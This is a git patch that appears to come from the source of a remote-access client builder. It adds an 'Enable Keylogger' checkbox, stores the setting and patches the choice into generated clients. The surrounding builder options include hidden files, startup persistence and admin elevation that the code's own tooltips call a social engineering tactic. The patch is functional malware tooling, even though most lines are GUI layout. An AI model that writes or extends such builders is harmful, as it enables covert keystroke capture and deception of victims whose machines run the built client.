From b1ffa97a8552f290fa950cfc0015bc286c703a9b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 4 May 2015 18:29:21 +0200 Subject: [PATCH] Added ability to enable/disable keylogger --- Server/Core/Build/ClientBuilder.cs | 6 +++- Server/Forms/FrmBuilder.Designer.cs | 49 +++++++++++++++++++++++------ Server/Forms/FrmBuilder.cs | 12 ++++++- 3 files changed, 55 insertions(+), 12 deletions(-) diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index 39f91c68..db6a5641 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -10,7 +10,8 @@ namespace xServer.Core.Build public static class ClientBuilder { public static void Build(string output, string host, string password, string installsub, string installname, - string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, + string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int port, + int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version) { // PHASE 1 - Settings @@ -86,6 +87,9 @@ namespace xServer.Core.Build methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation)); break; + case 5: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger)); + break; } bools++; } diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index 90e899da..fabc64da 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -85,11 +85,14 @@ this.lblDescription = new System.Windows.Forms.Label(); this.txtProductName = new System.Windows.Forms.TextBox(); this.lblProductName = new System.Windows.Forms.Label(); + this.groupAdditional = new System.Windows.Forms.GroupBox(); + this.chkKeylogger = new System.Windows.Forms.CheckBox(); this.groupConnection.SuspendLayout(); this.groupInstall.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); this.groupAsmInfo.SuspendLayout(); + this.groupAdditional.SuspendLayout(); this.SuspendLayout(); // // groupConnection @@ -206,8 +209,6 @@ // // groupInstall // - this.groupInstall.Controls.Add(this.chkIconChange); - this.groupInstall.Controls.Add(this.chkElevation); this.groupInstall.Controls.Add(this.picUAC2); this.groupInstall.Controls.Add(this.picUAC1); this.groupInstall.Controls.Add(this.rbSystem); @@ -231,7 +232,7 @@ this.groupInstall.Controls.Add(this.chkInstall); this.groupInstall.Location = new System.Drawing.Point(12, 171); this.groupInstall.Name = "groupInstall"; - this.groupInstall.Size = new System.Drawing.Size(325, 348); + this.groupInstall.Size = new System.Drawing.Size(325, 310); this.groupInstall.TabIndex = 1; this.groupInstall.TabStop = false; this.groupInstall.Text = "Install"; @@ -239,10 +240,10 @@ // chkIconChange // this.chkIconChange.AutoSize = true; - this.chkIconChange.Location = new System.Drawing.Point(118, 326); + this.chkIconChange.Location = new System.Drawing.Point(6, 44); this.chkIconChange.Name = "chkIconChange"; this.chkIconChange.Size = new System.Drawing.Size(91, 17); - this.chkIconChange.TabIndex = 20; + this.chkIconChange.TabIndex = 1; this.chkIconChange.Text = "Change Icon"; this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); this.chkIconChange.UseVisualStyleBackColor = true; @@ -251,10 +252,10 @@ // chkElevation // this.chkElevation.AutoSize = true; - this.chkElevation.Location = new System.Drawing.Point(118, 303); + this.chkElevation.Location = new System.Drawing.Point(6, 21); this.chkElevation.Name = "chkElevation"; this.chkElevation.Size = new System.Drawing.Size(147, 17); - this.chkElevation.TabIndex = 19; + this.chkElevation.TabIndex = 0; this.chkElevation.Text = "Enable Admin Elevation"; this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); this.chkElevation.UseVisualStyleBackColor = true; @@ -473,10 +474,10 @@ // // btnBuild // - this.btnBuild.Location = new System.Drawing.Point(217, 525); + this.btnBuild.Location = new System.Drawing.Point(540, 458); this.btnBuild.Name = "btnBuild"; this.btnBuild.Size = new System.Drawing.Size(121, 23); - this.btnBuild.TabIndex = 3; + this.btnBuild.TabIndex = 4; this.btnBuild.Text = "Build client!"; this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); @@ -654,12 +655,36 @@ this.lblProductName.TabIndex = 1; this.lblProductName.Text = "Product Name:"; // + // groupAdditional + // + this.groupAdditional.Controls.Add(this.chkKeylogger); + this.groupAdditional.Controls.Add(this.chkIconChange); + this.groupAdditional.Controls.Add(this.chkElevation); + this.groupAdditional.Location = new System.Drawing.Point(343, 287); + this.groupAdditional.Name = "groupAdditional"; + this.groupAdditional.Size = new System.Drawing.Size(318, 153); + this.groupAdditional.TabIndex = 3; + this.groupAdditional.TabStop = false; + this.groupAdditional.Text = "Additional Settings"; + // + // chkKeylogger + // + this.chkKeylogger.AutoSize = true; + this.chkKeylogger.Location = new System.Drawing.Point(6, 67); + this.chkKeylogger.Name = "chkKeylogger"; + this.chkKeylogger.Size = new System.Drawing.Size(115, 17); + this.chkKeylogger.TabIndex = 2; + this.chkKeylogger.Text = "Enable Keylogger"; + this.chkKeylogger.UseVisualStyleBackColor = true; + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged); + // // FrmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; - this.ClientSize = new System.Drawing.Size(673, 560); + this.ClientSize = new System.Drawing.Size(673, 499); + this.Controls.Add(this.groupAdditional); this.Controls.Add(this.groupAsmInfo); this.Controls.Add(this.btnBuild); this.Controls.Add(this.groupInstall); @@ -682,6 +707,8 @@ ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); this.groupAsmInfo.ResumeLayout(false); this.groupAsmInfo.PerformLayout(); + this.groupAdditional.ResumeLayout(false); + this.groupAdditional.PerformLayout(); this.ResumeLayout(false); } @@ -743,5 +770,7 @@ private System.Windows.Forms.TextBox txtProductVersion; private System.Windows.Forms.Label lblProductVersion; private System.Windows.Forms.CheckBox chkChangeAsmInfo; + private System.Windows.Forms.GroupBox groupAdditional; + private System.Windows.Forms.CheckBox chkKeylogger; } } \ No newline at end of file diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index f2bb2383..4bbe31a2 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -42,6 +42,9 @@ namespace xServer.Forms chkElevation.Checked = bool.Parse(pm.ReadValue("AdminElevation")); chkIconChange.Checked = bool.Parse(pm.ReadValue("ChangeIcon")); chkChangeAsmInfo.Checked = bool.Parse(pm.ReadValue("ChangeAsmInfo")); + chkKeylogger.Checked = + bool.Parse(!string.IsNullOrEmpty(pm.ReadValue("Keylogger")) ? pm.ReadValue("Keylogger") : "False"); + //fallback txtProductName.Text = pm.ReadValue("ProductName"); txtDescription.Text = pm.ReadValue("Description"); txtCompanyName.Text = pm.ReadValue("CompanyName"); @@ -71,6 +74,7 @@ namespace xServer.Forms pm.WriteValue("AdminElevation", chkElevation.Checked.ToString()); pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString()); pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString()); + pm.WriteValue("Keylogger", chkKeylogger.Checked.ToString()); pm.WriteValue("ProductName", txtProductName.Text); pm.WriteValue("Description", txtDescription.Text); pm.WriteValue("CompanyName", txtCompanyName.Text); @@ -299,7 +303,8 @@ namespace xServer.Forms ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, - chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), + chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text), + int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, @@ -445,5 +450,10 @@ namespace xServer.Forms { HasChanged(); } + + private void chkKeylogger_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + } } } \ No newline at end of file